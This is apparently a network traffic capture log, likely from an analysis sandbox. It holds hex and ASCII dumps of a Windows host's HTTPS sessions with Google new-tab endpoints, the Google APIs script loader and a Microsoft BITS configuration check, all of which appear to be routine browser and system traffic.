2024-10-30 05:16:14 UTC	505	IN	Data Raw: 34 5a 57 35 76 59 6d 78 68 5a 47 55 67 59 32 68 79 62 32 35 70 59 32 78 6c 63 79 42 34 49 47 35 70 62 6e 52 6c 62 6d 52 76 49 48 4e 33 61 58 52 6a 61 45 6f 48 49 7a 51 79 4e 44 49 30 4d 6c 4a 61 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 45 78 51 4d 56 52 6a 62 33 46 35 63 58 68 4f 51 33 64 35 57 56 42 53 55 33 45 77 61 6b 35 35 4d 46 39 4c 55 31 56 34 53 6c 5a 56 61 6b 39 4c 54 58 4a 51 65 54 42 36 54 31 4e 54 4d 56 64 78 52 6b 52 4a 65 54 68 33 63 6c 4e 6a 4d 55 78 35 56 6d 4e 76 54 48 4d 34 63 31 4e 6a 4e 45 46 42 54 6d 49 35 52 58 4a 5a 63 41 51 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 Data Ascii: 4ZW5vYmxhZGUgY2hyb25pY2xlcyB4IG5pbnRlbmRvIHN3aXRjaEoHIzQyNDI0MlJaZ3Nfc3NwPWVKemo0dExQMVRjb3F5cXhOQ3d5WVBSU3Ewak55MF9LU1V4SlZVak9LTXJQeTB6T1NTMVdxRkRJeTh3clNjMUx5VmNvTHM4c1NjNEFBTmI5RXJZcAQ\u003d","zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1
2024-10-30 05:16:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.185.100	443	7756	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:14 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 05:16:15 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 05:16:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 05:16:15 UTC	336	IN	Data Raw: 33 61 39 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3a9a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700303,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u00
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c Data Ascii: {_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\
2024-10-30 05:16:15 UTC	1378	IN	Data Raw: 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 47 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 48 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 3a 6e 75 6c 6c 7d 3b 5f 2e 49 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 62 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 64 62 7c 7c 61 2e 63 6f 6e 74 61 69 6e 73 28 62 29 3a Data Ascii: .createElement(b)};_.Ge\u003dfunction(a){for(var b;b\u003da.firstChild;)a.removeChild(b)};_.He\u003dfunction(a){return a\u0026\u0026a.parentNode?a.parentNode.removeChild(a):null};_.Ie\u003dfunction(a,b){return a\u0026\u0026b?a\u003d\u003db\|\|a.contains(b):

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	142.250.185.100	443	7756	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:14 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 05:16:15 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 05:16:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 05:16:15 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 05:16:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:18 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 05:16:18 UTC	494	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=27513 Date: Wed, 30 Oct 2024 05:16:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	142.250.186.110	443	7756	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:18 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 05:16:18 UTC	903	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript; charset=UTF-8 Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 Date: Wed, 30 Oct 2024 05:16:18 GMT Expires: Thu, 30 Oct 2025 05:16:18 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 05:16:18 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 Data Ascii: Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="funct
